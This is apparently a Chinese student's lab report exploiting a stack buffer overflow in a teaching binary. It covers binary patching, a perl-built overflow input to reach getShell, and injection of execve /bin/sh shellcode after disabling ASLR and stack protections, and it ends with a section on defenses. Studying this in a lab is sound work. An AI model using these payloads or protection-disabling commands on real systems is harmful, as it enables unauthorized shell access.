2019-2020-3 20175121杨波《网络对抗技术》Exp1 PC平台逆向破解
标签:Linux,BOF,逆向
1.逆向及Bof基础实践说明
1.1 实践目标
-
对象:pwn1(linux可执行文件)
- 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
-
目标:使程序执行另一个代码片段:getshell
-
内容:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
-
现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
-
注入运行任意代码
1.2 基础知识
-
熟悉Linux基本操作
- 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
-
理解Bof的原理。
- 能看得懂汇编、机器指令、EIP、指令地址。
-
会使用gdb,vi。
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
-
NOP机器码 90。
-
JNE机器码 75
-
JE机器码 74
-
JMP rel8相对短跳转,机器码 EB
JMP rel16相对跳转,机器码 E9
JMP r/m16绝对跳转,机器码 FF
JMP r/m32绝对跳转,机器码 FF
JMP ptr1 6:16远距离绝对跳转,机器码 EA
JMP ptr1 6:32远距离绝对跳转,机器码 EA
JMP m16:16远距离绝对跳转,机器码 FF
JMP m16:32远距离绝对跳转,机器码 FF -
MP reg8/mem8,reg8 机器码 38
CMP reg16/mem16,reg16 机器码 39
CMP reg8,reg8/mem8 机器码 3A
CMP reg16,reg16/mem16 机器码 3B
CMP al,immed8 机器码 3C
CMP ax,immed16 机器码 3D
2.直接修改程序机器指令,改变程序执行流程
- 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
- 学习目标:理解可执行文件与机器指令
- 进阶:掌握ELF文件格式,掌握动态技术
2.1 反汇编查看函数地址
- 将
pwn1
文件改名为pwn20175121
后放置在kali桌面,将pwn20175121
复制到home
文件夹下,之后输入objdump -d pwn20175121 | more
进行反汇编
- 输入
/getShell
找到getShell函数,下图中080484b5中的指令为call 8048491- 是说这条指令将调用位于地址8048491处的foo函数;
- 其对应机器指令为“e8 d7ffffff”,e8即跳转之意。
- 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行“EIP+d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值
2.2 在vim中修改地址,反汇编查看结果
- main函数调用foo,对应机器指令为“ e8 d7ffffff”,
- 那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。
- 用Windows计算器,直接47d-4ba就能得到补码,是c3ffffff。
- 下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。
- 输入vim指令
vi pwn20175121
编辑该文件,打开后发现是乱码
- 接下来执行以下操作,以下操作是在vi内
1.按ESC键
2.输入以下,将显示模式切换为16进制模式::%!xxd
3.查找要修改的内容:/d7
4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
5.找到后输入回车定位,按r
修改d7
为c3
6.转换16进制为原格式::%!xxd -r
7.存盘退出vi::wq
- 修改成功后再使用反汇编
objdump -d pwn20175121|more
查看call指令是否正确调用getShell
- 输入
./pwn20175121
运行下修改后的代码,通过对比发现修改后的代码会得到shell提示符#,说明修改成功
3.通过构造输入参数,造成BOF攻击,改变程序执行流
- 知识要求:堆栈结构,返回地址
- 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
- 进阶:掌握ELF文件格式,掌握动态技术
3.1反汇编,了解程序的基本功能
- 这里读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
- 上面的call调用foo,同时在堆栈上压上返回地址值:80484ba
3.2 确认输入字符串哪几个字符会覆盖到返回地址
- 此时要用到调试功能,输入
apt-get install gdb
安装一下
- 输入
gdb pwn20175121
调试程序,按r
输入字符串如1111111122222222333333334444444412345678
,发生段错误产生溢出
- 输入
info r
查看寄存器eip的值,发现输入的1234
被覆盖到堆栈上的返回地址,接下来我们就要把字符串中会覆盖EIP的字符替换成getShell的地址。
3.3 确认用什么值来覆盖返回地址
- 寄存器显示时是按照16进制从高位向低位显示,接下来的操作要使这块区域变成我们需要的内容(\x7d\x84\x04\x08)即可实现跳转到getShell处执行代码,所以实际上我们需要输入的就是
11111111222222223333333344444444\x7d\x84\x04\x08
。
3.4 构造输入字符串
- 由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键
- 我们通过输入
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
来生成这样的文件。然后使用vim查看input文件的内容是否如预期
- 然后将input的输入,通过管道符“|”,作为文件的输入。指令为:
(cat input; cat) | ./pwn20175121
4. 注入Shellcode并执行
4.1 准备一段Shellcode
-
shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
-
采用老师推荐的shellcode。如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
4.2 准备工作
- 在实验中要提前进行一些设置,先利用
apt-get install execstack
命令安装execstack软件包
- 然后执行以下命令
execstack -s pwn20175121 //设置堆栈可执行
execstack -q pwn20175121 //查询文件的堆栈是否可执行
X pwn20175121
more /proc/sys/kernel/randomize_va_space //查看内存地址随机化的参数
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
4.3 构造要注入的payload
- Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr。
- 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
- 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
- 在看完老师的实验指导书之后发现nop+shellcode+retaddr这种方式有些问题。因此选择anything+retaddr+nops+shellcode这种方式构造攻击代码。
- 首先利用十六进制编辑指令perl构造一个字符串,写入到input_shellcode文件中用作文件执行时的输入。在这段字符串中,末尾的\x4\x3\x2\x1会覆盖到堆栈上的返回地址。(特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。)
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
- 打开一个终端注入这段攻击buf:
(cat input_shellcode;cat) | ./pwn20175121
- 再开另外一个终端,用gdb来调试pwn20175121这个进程。
- 输入
ps -ef | grep pwn20175121
发现进程号为1636 - 输入
gdb
进入调试界面,然后输入attach 1636
调试这个进程
- 输入指令
disassemble foo
对foo函数进行反汇编。 - 通过设置断点,来查看注入buf的内存地址,输入
break *0x080484ae
- 之后要回到刚开始的终端手动回车一下,然后回到调试的终端,输入指令 c 继续。
- 接下来输入指令
info r esp
查看查看栈顶指针所在的位置,并查看改地址存放的数据 - 看到了\x4\x3\x2\x1果然出现在栈顶,就是返回地址的位置。shellcode就挨着,所以地址是0xffffd6cc+4=0xffffd6d0
- 修改攻击代码,将地址retaddr加进去
perl -e 'print "A" x 32;print "\xd0\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- 输入
(cat input_shellcode;cat) | ./pwn20175121
,将其输入到程序中
- 此时发现已经可以执行指令,wow成功了!!
- 以上实践是在非常简单的一个预设条件下完成的:
(1)关闭堆栈保护(gcc -fno-stack-protector)
(2)关闭堆栈执行保护(execstack -s)
(3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
(4)在x32环境下
(5)在Linux实践环境
4.4 结合nc模拟远程攻击
- 在同一台机器上的实验结果
5 Bof攻击防御技术
5.1. 从防止注入的角度
- 在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。
5.2 注入入了也不让运行
- 结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。
5.3 增加shellcode的构造难度
shellcode中需要猜测返回地址的位置,需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实:应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR,地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。
- /proc/sys/kernel/randomize_va_space用于控制Linux下 内存地址随机化机制(address space layout randomization),有以下三种情况
- 0 - 表示关闭进程地址空间随机化。
- 1 - 表示将mmap的基址,stack和vdso页面随机化。
- 2 - 表示在1的基础上增加栈(heap)的随机化。
5.4 从管理的角度
- 加强编码质量。注意边界检测。使用最新的安全的库函数。
SP.实验中碰到的问题
- 由于注入攻击代码时返回地址错误导致失败
6.实验收获与感想
通过本次实验,我对网络攻防的这门课构建起了大致的理解,为完成本次实验,课前我学习了linux的各种指令,了解了汇编和反汇编语音,还认真观看了老师给的实验视频。但是到自己上手时仍然遇到了各种各样的问题,通过向同学询问,上网查询资料,参考他人的博客一一解决了这些问题。这门课是以实践为主的课程,不断练习提升自己的实战能力才能将所学的理论知识融会贯通,否则一味地看是学不好网络攻防的。通过这种做中学的方式,能够检验自己的学习效果,发现自己知识体系中的漏洞。总而言之,通过这次实验,自己一步步走完每一个流程,对缓冲区溢出有了更深刻了的理解,了解到了设置边界检查的重要性,让我受益良多。
7.什么是漏洞?漏洞有什么危害?
- 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。具体举例来说,比如在 Intel Pentium芯片中存在的逻辑错误,在Sendmail早期版本中的编程错误,在NFS协议中认证方式上的弱点,在Unix系统管理员设置匿名Ftp服务时配置不当的问题都可能被攻击者使用,威胁到系统的安全。因而这些都可以认为是系统中存在的安全漏洞。
- 漏洞会影响到很大范围的软硬件设备,包括作系统本身及其支撑软件,网络客户和服务器软件,网络路由器和安全防火墙等。换而言之,在这些不同的软硬件设备中都可能存在不同的安全漏洞问题。在不同种类的软、硬件设备,同种设备的不同版本之间,由不同设备构成的不同系统之间,以及同种系统在不同的设置条件下,都会存在各自不同的安全漏洞问题。
漏洞问题是与时间紧密相关的。一个系统从发布的那一天起,随着用户的深入使用,系统中存在的漏洞会被不断暴露出来,这些早先被发现的漏洞也会不断被系统供应商发布的补丁软件修补,或在以后发布的新版系统中得以纠正。而在新版系统纠正了旧版本中具有漏洞的同时,也会引入一些新的漏洞和错误。因而随着时间的推移,旧的漏洞会不断消失,新的漏洞会不断出现。漏洞问题也会长期存在。
因而脱离具体的时间和具体的系统环境来讨论漏洞问题是毫无意义的。只能针对目标系统的作系统版本、其上运行的软件版本以及服务运行设置等实际环境来具体谈论其中可能存在的漏洞及其可行的解决办法。
同时应该看到,对漏洞问题的研究必须要跟踪当前最新的计算机系统及其安全问题的最新发展动态。这一点如同对计算机病毒发展问题的研究相似。如果在工作中不能保持对新技术的跟踪,就没有谈论系统安全漏洞问题的发言权,既使是以前所作的工作也会逐渐失去价值。